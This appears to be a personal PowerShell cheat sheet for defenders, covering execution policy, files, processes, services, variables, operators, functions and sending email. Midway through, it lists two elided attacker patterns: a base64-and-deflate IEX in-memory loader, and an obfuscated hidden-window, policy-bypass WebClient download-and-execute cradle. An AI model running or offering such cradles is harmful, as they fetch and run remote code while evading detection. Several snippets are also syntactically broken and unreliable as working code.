📘 Powershell BTFM

Get-ExecutionPolicy
> Restricted # no scripts are allowed (default for desktop)
> RemoteSigned # downloaded scripts should be signed (preferred, default for WinServer). For local scripts no signature is required.
> Unrestricted # everything is allowed (dangerous)
> Undefined # Restricted for Win and RemoteSigned for WinServer
> AllSigned # Signatures are required for local scripts also
> ByPass # Nothing is blocked, no warnings and prompts

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned

Get-ChildItem HKLM:Software | Format-Wide

Get-Help -ShowWindows/-Online/-full # withough any option - short help in the console itself

# Writing to file. 
# Method 1
echo "Name, EmployeeID, Eligibility" > employee_eligibility_status.csv

# Method 2
$output_file = "employee_eligibility_status.csv"
Write-Output "Name,EmployeeID,Eleigibility Status" | Out-File $output_file  [-Append] # Append is optional, of course

# Enum files in the dir, filter and do something with each one
Get-ChildItem -Path .\testfolder -Filter "*.emp" | ForEach-Object {
 $emp = $_.BaseName # get the filename
 # do something
}

Copy-Item -Path -Destination -Recurse
Move-Item -Path -Destination -Recurse
Remove-Item -Path -Recurse
Rename-Item -Path -NewName
Test-Path "Path" # check whether the file exists
Get-Content "file" # read the file
Get-Content "file" | Tail -2 # last 2 lines
Get-Content "hugelogfile.txt" | Where-Object { $_ -like "*ERROR*"}
Select-String # +\- grep

# removing files older than
$dir = "C:\Windows\tmp"
$retention = 10
Get-ChildItem -File -Recurse $dir | Where-Object {$_.LastWriteTime -lt (get-date).adddays(-$retention) | % {$_.fullname | del -Force }}

# Add-Content  uses .ToString() on the input
Add-Content -Path "file.csv" -Value "Name, Surname, Age"
$students = @(
'"Alex", "Zverev", "30"',
'"Veronica", "Zvereva", "29"',
'"Johnny", "Depp", "50"') 

$students | foreach { Add-Content -Path "file.csv" -Value $_ }

echo ""
$contents = Import-csv "file.csv" | Sort-Object Age | Export-Csv "sortedfile.csv"

[xml]$content = Get-Content "file.xml"
$content.GetType()
$content.MAIN_NODE.COMP


foreach ($entity in $content.GetElementsByTagName("COMP")) {
    Write-Output $entity.IP
}

Get-Process | Select-Object -First 2 | Export-Clixml output.xml

$json = Get-Content "file.json" | Out-String | ConvertFrom-Json

Get-Service | Where-Object { $_.Name like '*a*' } | Where-Object {$_.Status -eq 'Stopped' } | Select-Object -First 3

Get-Service | Where-Object { $_.Status -eq 'running' } | Select-Object -First 1 | Stop-Service -WhatIf # Get services that are rinning, select the first one in the list and tell me what will be stopped if I run Stop-Service (but don't run it yet).

Get-Service | Group-Object -Property ServiceType

Get-Service | ConvertTo-Html -Property name, displayname, status
ConvertTo-Csv
ConvertTo-Json
ConvertTo-Xml

Get-Process | Out-GridView

Get-Process -Name "*a*" | Select-Object -First 2
Get-Process | Get-Member
Get-Process -Name "*a*" | Select-Object -Property CPU
Get-Process | Where-Object { $_.CPU -ge 1000 }

Get-Process | Sort-Object cpu | Select-Object -First 10 # get the process list, sort by CPU usage and display the first 10 processes
Get-Process -Name "powershell*" | Select * # display ALL info about the process
Get-Process | Where-Object { $_.cpu -gt 10 } | Out-File "file.txt"

Get-Process | Where-Object { $_.cpu -gt 10000 } | Sort-Object cpu | Select -First 1 | Stop-Process # Stop the most cpu costy process

Get-Process | Sort-Object BaseProperty | Group-Object -Property BaseProperty
Get-Process | Sort-Object cpu -Descending | Select-Object -First 10 | Format-Table processname, id, cpu, pm

# useful for a supernova
Get-ChildItem -Path "C:\Windows" -Recurse | ConvertTo-Html -Property name,fullname -CssUril mycss.css | Out-File 'files_in_Windows.html'

$head=@"Some css"@
Get-ChildItem -Path "C:\Windows" -Recurse | ConvertTo-Html -Property name,fullname -Head $head -Title "Report"  | Out-File 'files_in_Windows.html'

Write-Host = $whatever # will output the value without invoking anything

iEX(New-Object IO.Compression.DeflateStream[IO.MemoryStream][System.Convert]::FromBase64String(''),[System.IO.Compression.CompressionMode]::Decompress) | % {New-Object System.IO.StreamReader($_,[System.Text.Encoding]::ASCII)} | % {$_.readToEnd()})

powershell -nopr -ep bypAss -w hiddEN -nonI -co '(nEW-obJECt nEt.WebClIeNt).DoWnloADfile(…;iEX()....'

Get-CimSession

Get-WmiObject -Namespace 'root\cimv2' -List | Out-GridView

$localvar.GetType()
$global:var # accessible not only from the script, Get-Variable will show it. But open another shell - it won't be there.

Set-Variable -Constant - ReadOnly # check if exists and change if it does
New-Variable
Clear-Variable
Remove-Variable

$var -s [int] # check if int

[int]$var = 100 # force the variable $var to ALWAYS be of int type
$var = [int]100 # apply on var to ensure that the data for this user input is correct

[string]$answer = Read-Host "Question?" -AsSecureString # get user input, convert to string -AsSecureString will not show the contents of the $answer
[validateset("y","Y", "n", "N")]$answer = Read-Host "Are you ok? (y/n)"
[validatelength(5,120)]$answer = Read-Host "What's your name?"
[validaterange(5,120)]$answer = Read-Host "How old are you?"
# Get more with Get-Help about_Functions_advanced_Parameters -ShowWindow

Write-Host -ForegroundColor -BackgroundColor # doesn't return an object, so you CAN'T PIPE the result!!!!
Write-Output # outputs something but also CAN be piped to another command
Write-Error
Write-Warning
Write-Debug -Debug
Write-Verbose -Verbose

# resemble Hugo's syntax, but the operator is placed between the operands.
# also resembles assembly
eq 
ceq # case-sensitive operator
neq
lt, gt. le, ge
like # contains
clike # case-senstive contains
notlike
match # use regex
contains # return True or False

@(THis is a big text to search some keywords in) -like "text"

string.IndexOf("")
string.Trim()
string.ToUpper()
string.Replace("a", "b")
string.Contains()

string.GetMember() # print all available operations for strings

$this_is_a_multiline = @"Hello
world, I have a question: "How
are you"?"@

if (-not ($n -le $n2)) {
  "Good"
} else {
	"Happy snowman!"
}

if (1 = 1) -and (2 = 2){
	"Math is not broken!"
}
else {
	"The Universe seems to be exploding"
}

switch($num)
{
	1 {"Good"}
  2 {"Hm"}
  3 {"Hmhm"}
  default ("Happy snowman")
}

# array list
$array = @(1,2,4) # IsFixedSize
$array[1..2]

# list
$list = New-Object System.Collections.ArrayList

# disctionary, not {} instead of ()
$hash_table = @{
    "127.0.0.1" = "localhost";
	"192.168.1.1" = "router1";
}
	
	

# Find diff between today and some point in time
# Method 1
$emp_date = [string]$emp_data[2] -replace "-", "/";
[datetime]$emp_date += " 00:00";
$diff = NEW-TIMESPAN –Start $emp_date –End $today
if ($diff -ge 365*5) {
	# do something
}

# Method 2
$emp_date = $emp_data[2];
$DOJ=[datetime]::ParseExact($date, "yyyy-mm-dd", $null)
if($DOJ -le (Get-Date).AddYears(-5)  ){
	# do something
}

# unnamed local arg
function Hello-World {
	echo $args[0]
 # do something
}

Hello-World 1
# prints 1

# named local arg
function Hello-World($names){
	foreach $name in $names{
		echo "hello"
	}
}

$names = @("Jessica", "Mark", "Jason")
Hello-World $names

# parameters ++++
function Hello-World-Remastered{
	param
	(
		[string]Name,
		[int]age,
		[bool]agree = 1 # default value
	)
	Write-Output "Hello, $Name who is $age old! You said $agree"
}

Hello-World-Remastered -Name Tariel -age 21 -agree 0

Get-Content "file" -ErrorAction [Stop|SilentlyContinue] -ErrorVariable $err


try{
	Get-Help "Something" -ErrorAction Stop -ErrorVariable $error
}
catch [System.IO.FileNotFoundException]{
	$ErrorMessage = $_.Exception.Message
	$ErrorMessage
	Write-Output "Error caught $ErrorMessage" -Foreground Yellow
}

class Cat {
	[int32] age;
	[String] name;
	
	[int32] number_of_kittens () {
		return 3
	}

}

# create a Mail object
$message = New-Object System.Net.Mail.MailMessage
$message.body = ""
$message.subject = $subject
$message.to.add($to)
$message.from = $from

# create a SMPT client
$SMTPServer = "smtp.gmail.com"
$SMTPPort = 465
$smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);

# Provide creds if needed
$smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password);

# use SSL in case you fancy it or if the server requires 
$smtp.EnableSSL = $true

# send the message
$smtp.send($message)